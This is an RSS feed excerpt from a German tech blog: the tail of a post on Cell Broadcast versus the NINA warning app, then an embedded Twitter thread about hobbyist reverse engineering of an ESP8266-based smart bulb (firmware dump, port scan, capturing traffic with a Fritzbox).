&lt;p&gt;Kurz: Die Vorteile von CB überwiegen die einer App eigentlich in fast allen Punkte, was damit zusammen hängen dürfte, dass diese Technologie genau für diesen Anwendungszweck entwickelt wurde.&lt;/p&gt;
&lt;p&gt;Dass CB in Deutschland von den Mobilfunkanbietern nicht angeboten wird, mag zwar bedingt stimmen, aber als Gesetzgeber wäre man sicher in der Lage, die Anbieter zu verpflichten dies anzubieten. Es ist ja so, dass alle Mobilfunkanbieter in Deutschland auch Schwesterunternehmen im Ausland haben, in denen CB genutzt wird. Am fehlenden Know-How in den Konzernen sollte es also nicht scheitern.&lt;/p&gt;
&lt;p&gt;O&lt;sub&gt;2&lt;/sub&gt;/Telefónica hat in Deutschland bereits einmal Cell Broadcast unterstützt, da sie damals als VIAG Interkom (später O&lt;sub&gt;2&lt;/sub&gt;, später Telefónica) &lt;a href=&#34;https://www.teltarif.de/festnetz-nummer-handy-homezone-funktioniert-technik/news/53020.html&#34;&gt;diese Technik benutzt haben um &amp;ldquo;Homezones&amp;rdquo; umzusetzen&lt;/a&gt; - und hat die Infrastruktur daher möglicherweise noch in Betrieb. Auch Vodafone &lt;a href=&#34;https://www.teltarif.de/vodafone-cellbroadcast-abschaltung/news/33632.html&#34;&gt;nutzte Cell Broadcast&lt;/a&gt; um z.B. lokale Vorwahlen zu übermitteln.&lt;/p&gt;
&lt;p&gt;NINA hat 20 Millionen Euro (1 Corona-Warn-App, 3 Saarland) gekostet – mit dem Geld hätten sich die Anbieter vielleicht auch überreden lassen, zukünftig Cell Broadcast Nachrichten auszuliefern.&lt;/p&gt;
&lt;p&gt;Allerdings hätte im aktuellen Fall wahrscheinlich auch CB genauso verspätet ausgelöst, da die Verzögerung ja im davor gelagerten System MoWas entstanden ist. MoWas hätte also auch die CB-Systeme verspätet informiert.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; &lt;em&gt;Dies ist eine reine Außenansicht der Systeme. Wir weisen außerdem daraufhin, dass Katastrophenschutz ganz weit außerhalb unserer Kompetenz liegt. Dementsprechend würden wir uns über Berichtigungen und Aufklärungen über Fehlannahmen sehr freuen.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Für weitere Analysen stellen wir die gemessenen Monitoring-Daten als &lt;a href=&#34;https://zerforschung.org/p/warntag-app-monitoring/monitoring_data_json.zip&#34;&gt;JSON&lt;/a&gt; und als &lt;a href=&#34;https://zerforschung.org/p/warntag-app-monitoring/monitoring_data_csv.csv&#34;&gt;CSV&lt;/a&gt; bereit.&lt;/p&gt;
&lt;p&gt;&lt;del&gt;Ebenso werden wir in den nächsten Tagen ein GitHub Repo veröffentlichen, das alle uns bekannten Warnapp Schnittstellen enthält und den Beginn der Dokumentation dieser darstellen soll.&lt;/del&gt;&lt;/p&gt;
&lt;h3 id=&#34;update-dezember-2021&#34;&gt;Update (Dezember 2021)&lt;/h3&gt;
&lt;p&gt;Inzwischen hat die &lt;a href=&#34;https://bund.dev&#34;&gt;Bundesstelle für Open Data&lt;/a&gt; eine inoffizielle &lt;a href=&#34;https://nina.api.bund.dev/&#34;&gt;Dokumentation der NINA API&lt;/a&gt; veröffentlicht.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Tatsächlich gibt es dazu keine guten Zahlen. Von Apple gibt es nur &lt;a href=&#34;https://developer.apple.com/library/archive/technotes/tn2265/_index.html&#34;&gt;die Information&lt;/a&gt;, dass sie 2012 pro Tag etwa 7 Milliarden Notifications ausgeliefert haben. Seit dem hat sich die Smartphoneverbreitung, aber auch die intensivität der Nutzung stark erhöht.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Thread: Ich habe ein ESP8266 in meiner Glühbirne gefunden</title>
      <link>https://zerforschung.org/posts/thread-esp8266-gluehbirne/</link>
      <pubDate>Mon, 21 Sep 2020 16:00:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/thread-esp8266-gluehbirne/</guid>
      <description>&lt;p&gt;&lt;a class=&#34;twitter-timeline&#34; data-dnt=&#34;true&#34; data-chrome=&#34;noheader nofooter noborders noscrollbar&#34; data-tweet-limit=&#34;20&#34; href=&#34;https://twitter.com/zerforschung/timelines/1311075267335598080?ref_src=twsrc%5Etfw&#34;&gt;ESP8266-Glühbirne #0 - Curated tweets by zerforschung&lt;/a&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;twitter-timeline&#34; data-dnt=&#34;true&#34; data-chrome=&#34;noheader nofooter noborders noscrollbar&#34; data-tweet-limit=&#34;20&#34; href=&#34;https://twitter.com/zerforschung/timelines/1311064689657475074?ref_src=twsrc%5Etfw&#34;&gt;ESP8266-Glühbirne #1 - Curated tweets by zerforschung&lt;/a&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;twitter-timeline&#34; data-dnt=&#34;true&#34; data-chrome=&#34;noheader nofooter noborders noscrollbar&#34; data-tweet-limit=&#34;20&#34; href=&#34;https://twitter.com/zerforschung/timelines/1311064178824708097?ref_src=twsrc%5Etfw&#34;&gt;ESP8266-Glühbirne #2 - Curated tweets by zerforschung&lt;/a&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;twitter-timeline&#34; data-dnt=&#34;true&#34; data-chrome=&#34;noheader nofooter noborders noscrollbar&#34; data-tweet-limit=&#34;20&#34; href=&#34;https://twitter.com/zerforschung/timelines/1311061487398588416?ref_src=twsrc%5Etfw&#34;&gt;ESP8266-Glühbirne #3 - Curated tweets by zerforschung&lt;/a&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;&lt;/p&gt;
&lt;!--

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Willkommen zu „Ich habe ein ESP8266 in meiner Glühbirne gefunden.“ 💡 &lt;a href=&#34;https://t.co/znNT3BB3XL&#34;&gt;&lt;img src=&#34;https://pbs.twimg.com/media/EhPxw14XkAAxfoV?format=jpg&amp;name=large&#34;/&gt;&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302650570617032704?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;In dieser Sendung mit dabei: „Wir haben da ein Stück Leiterbahn auf unserer Platine vergessen, also nehmen wir einfach sehr viel mehr Lötzinn“ &lt;a href=&#34;https://t.co/OUFqxBLcta&#34;&gt;&lt;img src=&#34;https://pbs.twimg.com/media/EhPzkFYXYAIdz7E?format=jpg&amp;name=large&#34;/&gt;&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302652544209031171?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Ja, die Wahrheit ist, ich habe die Lampe bestellt, weil ich stark vermutet habe, dass da ein ESP8266 drin ist. (Ist übrigens ein ESP8285)&lt;a href=&#34;https://t.co/ha8fBsDyiN&#34;&gt;https://t.co/ha8fBsDyiN&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302653098603798529?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Es ist auch sehr nett, dass die Test-Pads so schön beschriftet sind. Habe mir mal erlaubt da Kabel anzulöten. &lt;a href=&#34;https://t.co/aF0JLtj1ou&#34;&gt;&lt;img src=&#34;https://pbs.twimg.com/media/EhP1S1pXcAMD532?format=jpg&amp;name=large&#34;/&gt;&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302654433600438273?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Und mal etwas angesteckt &lt;a href=&#34;https://t.co/Qyv5koxPdJ&#34;&gt;&lt;img src=&#34;https://pbs.twimg.com/media/EhP2SN3X0AIcnfU?format=jpg&amp;name=large&#34;/&gt;&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302655535960018944?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Firmware dumpen scheint beim ersten Versuch zu funktionieren. Das wäre übrigens das erste mal, dass sowas bei mir beim ersten Versuch klappt. Und dann bei einer Lampe. &lt;a href=&#34;https://t.co/2G4vIKJFyh&#34;&gt;&lt;img src=&#34;https://pbs.twimg.com/media/EhP3NpOWoAAmVPF?format=jpg&amp;name=4096x4096&#34;/&gt;&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302656556509650947?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Firmware scheint auf Basis von &lt;a href=&#34;https://t.co/BvGWg2EoyX&#34;&gt;https://t.co/BvGWg2EoyX&lt;/a&gt; gebaut zum sein und wurde am 7. September 2019 kompiliert. Witzig, also fast genau vor einem Jahr.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302657773105303553?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Scheint voll mit Debug Messages zu sein und irgendwie sieht es auch danach aus, als wenn man über AT mit dem Ding sprechen könnte. &lt;a href=&#34;https://t.co/hio8S0a5RS&#34;&gt;pic.twitter.com/hio8S0a5RS&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302659083942670336?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Über die Serielle ist das ding momentan überraschend Schweigsam. Es macht aber ein Wifi auf. Vielleicht gucke ich auch einfach mal ins Handbuch, wie man das Gerät normalerweise in Betrieb nimmt.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302663848961421312?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Die Einrichtung der Lampe läuft sonst über eine App. Habe noch keine Lust gehabt die genauer an zu sehen. Aber Strings aus der Firmware legen nahe, dass die Lampe in ihrem eigenen Wifi auf die IP 10.10.123.3 hört.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302674100721254401?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Auf Port 80 hört die Lampe nicht. Portscan sagt Port 5577 ist offen.&lt;br&gt;(und im Hintergrund schreibt mir &lt;a href=&#34;https://twitter.com/HorayNarea?ref_src=twsrc%5Etfw&#34;&gt;@HorayNarea&lt;/a&gt; immer, was ich sonst noch so in die Konsole Hacken könnte)&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302675686067445761?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Für die Geräte hat scheinbar schon mal jemand ne Python library geschrieben. Jedenfalls heißt der server zu dem sich die App connecten will auch irgendwas mit MagicHue, und der Port zur Steuerung ist auch 5577 ist der gleiche: &lt;a href=&#34;https://t.co/3Bx0UoZlWJ&#34;&gt;https://t.co/3Bx0UoZlWJ&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302678377246191621?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Die Strings in der Firmware deuten jetzt erst mal nicht auf cloud-Aktivität der Lampe selber hin (die App aber schon).&lt;br&gt;ABER: es sieht so aus als wenn OTA Firmware Updates möglich sind, und die auch direkt von der Lampe aus, ohne App gestartet werden könnten. &lt;a href=&#34;https://t.co/OlEUTPUEFc&#34;&gt;pic.twitter.com/OlEUTPUEFc&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302681904219648002?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Währenddessen schaut sich &lt;a href=&#34;https://twitter.com/HorayNarea?ref_src=twsrc%5Etfw&#34;&gt;@HorayNarea&lt;/a&gt; die App an, und findet spannende Springs in der App &lt;a href=&#34;https://t.co/5aOS9GqzH9&#34;&gt;pic.twitter.com/5aOS9GqzH9&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302686128210956289?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;[Umfrage] Soll dieser „wir nehmen Hardware und Software auseinander“ Quatsch nen eigenen Account bekommen?&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302689316670509057?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Weißer Rauch steigt auf. irgendwas habe ich gerade gegrillt.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302700692663140358?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;1 Ohm zwischen 3V und GND. ich glaube das soll nicht so.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302706122223226882?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;In weiser Voraussicht habe ich natürlich zwei von den Dingern besorgt. Allerdings habe ich die dezentral gelagert, weswegen ich jetzt auf ein Fahrrad steigen müsste um die zweite zu holen…&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302707746987536384?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Während Ubi Hardware kaputt macht (hey, so war das nicht gemeint mit dem Hacken!) hab ich rausgefunden dass die Kommunikation der App mit der Lampe sehr… spannend passiert:&lt;/p&gt;&amp;mdash; Thomas Sänger (@HorayNarea) &lt;a href=&#34;https://twitter.com/HorayNarea/status/1302713060784836608?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Sie schieben einfach Bytes durch die Gegend und setzen dann in Objekt-Instanzen wild irgendwelche internen Werte auf die rohen Bytes die sie zurück bekommen, ohne viel zu prüfen ob es auch nur annähernd valide wäre das zu tun.&lt;/p&gt;&amp;mdash; Thomas Sänger (@HorayNarea) &lt;a href=&#34;https://twitter.com/HorayNarea/status/1302713214376050688?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Irgendwo scheinen sie einen Timer in der Lampe setzen zu können, der ist (u.a. Aufgrund des &amp;quot;wir stecken einfach alles roh in die Bytes&amp;quot;) begrenzt auf…&lt;/p&gt;&amp;mdash; Thomas Sänger (@HorayNarea) &lt;a href=&#34;https://twitter.com/HorayNarea/status/1302713891793833987?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt; 

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;…255 Jahre, 12 Monate, 31 Tage, 23 Stunden, 59 Minuten und 59 Sekunden… schlechte Nachrichten also falls ihr euren Ur-ur-ur-urenkeln schon mal Tee ansetzen wollt.&lt;/p&gt;&amp;mdash; Thomas Sänger (@HorayNarea) &lt;a href=&#34;https://twitter.com/HorayNarea/status/1302713948949696514?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt; 

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Versuche gerade behelfsweise die Firmware, die ich ja glücklicherweise gedumpt habe auf einen anderen ESP zu übertragen. mit wenig Erfolg. &lt;a href=&#34;https://t.co/SnSBV7qN51&#34;&gt;pic.twitter.com/SnSBV7qN51&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302722580172939264?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Um rauszufinden was den Kurzschluss auf dem Original verursacht bin ich zu doof. Insgesamt möchte ich hervorheben, dass ich gar nicht so genau weiß was ich da eigentlich tue.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302722964211761152?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;OK, nun habe ich es tatsächlich geschafft, die Firmware auf ein anderen ESP drauf zu bekommen. Allerdings macht es noch kein Wifi auf, wie auf der original hardware &lt;a href=&#34;https://t.co/0aeMudt9WL&#34;&gt;pic.twitter.com/0aeMudt9WL&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302728009754054657?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Wenn wir von der Zeitzone Chinas ausgehen, dann sind jetzt nur noch weniger als 4 Stunden übrig, damit der Code vor genau einem Jahr compiled wurde&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302728599095644162?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Ah, hat nur etwas gedauert, Wifi ist jetzt offen. Das heißt ich habe jetzt die Firmware der Lampe auf einem eigenen ESP laufen. Auf AT-Kommandos reagiert es aber leider nicht.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302730806310428680?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Das eröffnet jetzt ein paar Möglichkeiten. Jetzt kann ich die Lampe einrichten, und schauen welche Aktion was genau an welchen PINs auslöst, was hilft eine eigene Firmware zu bauen.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302731217150844929?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Eine weitere Idee, die &lt;a href=&#34;https://twitter.com/HorayNarea?ref_src=twsrc%5Etfw&#34;&gt;@HorayNarea&lt;/a&gt; und ich hatten war, dass wenn man den OTA-Update Prozess kapern kann, dann könnte man möglicherweise eigene Firmware auf die Lampen spielen ohne sie auf machen zu müssen.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302731626821177344?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Um gleich bei der Einrichtung mit zu schneiden ob die „Lampe“ irgendwo hin telefoniert, habe ich ne alte Fritzbox raus gekramt. &lt;a href=&#34;https://twitter.com/HorayNarea?ref_src=twsrc%5Etfw&#34;&gt;@HorayNarea&lt;/a&gt; sagt, damit kann man den traffic gut mitschneiden. &lt;a href=&#34;https://t.co/hgBDeOrYeb&#34;&gt;pic.twitter.com/hgBDeOrYeb&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302736156543660039?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;For whom it may concern: Traffic von so ziemlich allen Interfaces die so ne Fritzbox anbietet mitschneiden geht auf allen (außer vom Kabelanbieter Beschnittenen) unter fritz. box/html/capture.html&lt;br&gt;&lt;br&gt;Darum solltet ihr auch wirklich IMMER ein Passwort in der Box setzen ;) &lt;a href=&#34;https://t.co/kHtY1WY91p&#34;&gt;https://t.co/kHtY1WY91p&lt;/a&gt;&lt;/p&gt;&amp;mdash; Thomas Sänger (@HorayNarea) &lt;a href=&#34;https://twitter.com/HorayNarea/status/1302736785458507776?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt; 

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Also richte ich jetzt wegen einer Lampe, die keine mehr ist, eine Fritzbox ein.&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302736506046550016?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Möchte euch natürlich an den Retrogefühlen alter FritzBoxen teilhaben lassen. &lt;a href=&#34;https://t.co/UeH5Nb25Yu&#34;&gt;pic.twitter.com/UeH5Nb25Yu&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302742502533935104?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

&lt;blockquote class=&#34;twitter-tweet&#34; data-conversation=&#34;none&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Na, GMX? &lt;a href=&#34;https://t.co/hfKauI09r1&#34;&gt;pic.twitter.com/hfKauI09r1&lt;/a&gt;&lt;/p&gt;&amp;mdash; ubahnverleih 小绿地铁 (@ubahnverleih) &lt;a href=&#34;https://twitter.com/ubahnverleih/status/1302743898608074752?ref_src=twsrc%5Etfw&#34;&gt;September 6, 2020&lt;/a&gt;&lt;/blockquote&gt;

